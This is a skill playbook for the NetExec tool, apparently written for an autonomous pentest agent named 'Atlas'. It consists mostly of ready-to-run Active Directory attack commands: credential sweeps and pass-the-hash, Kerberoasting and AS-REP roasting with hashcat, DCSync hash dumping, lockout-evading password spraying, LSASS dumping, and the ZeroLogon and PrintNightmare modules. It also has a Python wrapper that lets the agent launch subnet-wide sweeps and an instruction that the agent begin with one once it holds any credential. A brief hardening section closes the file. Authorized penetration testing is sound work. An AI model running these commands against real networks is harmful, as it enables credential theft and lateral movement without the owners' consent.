netexec

name	netexec
description	NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
metadata	{"when_to_use":"netexec nxc cme crackmapexec smb ldap mssql winrm rdp ad spray sweep","mitre_attack":"T1078, T1110, T1135, T1018, T1021","subdomain":"active-directory","upstream_url":"https://github.com/Pennyw0rth/NetExec"}

NetExec (nxc) Playbook

NetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.

1. Install

pipx install netexec      # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .

2. Protocol auth sweep

# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24

# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931...  # NTLM hash

# Across protocols — same creds, different services
nxc ldap   $DC -u alice -p $PW
nxc mssql  10.0.0.5 -u alice -p $PW
nxc winrm  10.0.0.5 -u alice -p $PW
nxc rdp    10.0.0.5 -u alice -p $PW
nxc ssh    10.0.0.5 -u alice -p $PW

# Kerberos auth
nxc smb $DC -u alice -p $PW -k --kdcHost $DC

3. Critical modules

3.1 BloodHound auto-collect (built-in)

nxc ldap $DC -u alice -p $PW --bloodhound --collection All \
  --dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHound

3.2 ADCS ESC1-15 scan

nxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flags

3.3 Kerberoasting

nxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes
hashcat -m 13100 kerb.hashes wordlist.txt

3.4 AS-REP roasting

nxc ldap $DC -u alice -p $PW --asreproast asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txt

3.5 Spider SMB shares

nxc smb 10.0.0.0/24 -u alice -p $PW \
  --spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
  --output-folder /tmp/spider

3.6 DC sync (when authorized as DA)

nxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/output

3.7 Password spray (with lockout protection)

nxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockout

3.8 Module catalog

nxc smb -L                          # all SMB modules
nxc ldap -L                         # all LDAP modules
nxc smb -M lsassy -o ...            # use lsassy module to dump LSASS
nxc smb -M wcc                      # Windows Configuration Collector
nxc smb -M printnightmare           # PrintNightmare CVE-2021-34527
nxc smb -M zerologon                # ZeroLogon CVE-2020-1472
nxc smb -M scuffy                   # scf file for credential coercion

4. Output formats

nxc smb $TARGET -u alice -p $PW --log /tmp/nxc.log
nxc smb $TARGET -u alice -p $PW --json /tmp/nxc.json
nxc smb $TARGET -u alice -p $PW --csv  /tmp/nxc.csv

NetExec also writes to ~/.nxc/ SQLite DB by default — query w/ nxcdb:

nxcdb
nxc > workspace default
nxc default > proto smb
nxc default (smb) > hosts
nxc default (smb) > creds

5. Atlas integration

When agent has any valid AD cred (recon or roast), the first move should be nxc smb cred-sweep across the subnet. It surfaces:

• Local admin reuse (massively common; instant lateral)
• SMB signing disabled (relay target)
• Shares accessible (PII / cred farming)
• OS version + domain membership

Wrap as Atlas tool:

# atlas/tools/ad/netexec.py — skeleton
from atlas.tools.bash import bash_tool

def nxc_sweep(protocol: str, targets: str, user: str, pw_or_hash: str, modules: list[str] = None) -> dict:
    """Run nxc across targets; parse JSON output; promote findings to KG."""
    cmd = f"nxc {protocol} {targets} -u {user}"
    if len(pw_or_hash) == 32 + 1 + 32:  # LM:NT hash
        cmd += f" -H {pw_or_hash}"
    else:
        cmd += f" -p {shlex.quote(pw_or_hash)}"
    if modules:
        for m in modules:
            cmd += f" -M {m}"
    cmd += " --json /tmp/nxc.json"
    result = bash_tool(cmd)
    if Path("/tmp/nxc.json").exists():
        return json.loads(Path("/tmp/nxc.json").read_text())
    return {"error": "no json output"}

6. PoC framing

# Confirm sweep — find local-admin reuse
nxc smb 10.0.0.0/24 -u alice -p $PW --local-auth | grep '(Pwn3d!)'
# Each (Pwn3d!) = local admin = lateral pivot target

7. Severity

• (Pwn3d!) on production host: Critical 9.8 (RCE-ready)
• SMB signing disabled in production: High 7-8 (relay attack possible)
• Shares world-readable w/ PII: Critical depending on data

8. Defender

• Enforce SMB signing required (GPO: Computer Config → Windows Settings → Security Settings → Local Policies → Security Options → "Microsoft network server: Digitally sign communications (always)")
• Disable NTLM authentication where Kerberos available
• LAPS for local admin password rotation (kills local-admin-reuse)
• Lockout policy w/ low threshold + long duration

Cross-references

• Upstream: https://github.com/Pennyw0rth/NetExec
• Atlas AD overview: skills/ad/SKILL.md
• BloodHound: skills/ad/bloodhound-query/SKILL.md
• Kerberoast: skills/ad/kerberoasting/SKILL.md
• ADCS ESC1-15: skills/ad/adcs-esc1/SKILL.md

Known exemplars

• Lateral movement via local-admin password reuse on Win10/Win11 endpoints — most common pattern in 2023-2024 internal pentests
• NetExec used in ~80% of OSCP-style Windows engagements (post-2024)
• Pennyw0rth fork maintains compatibility w/ CME workflows + adds active maintenance + new modules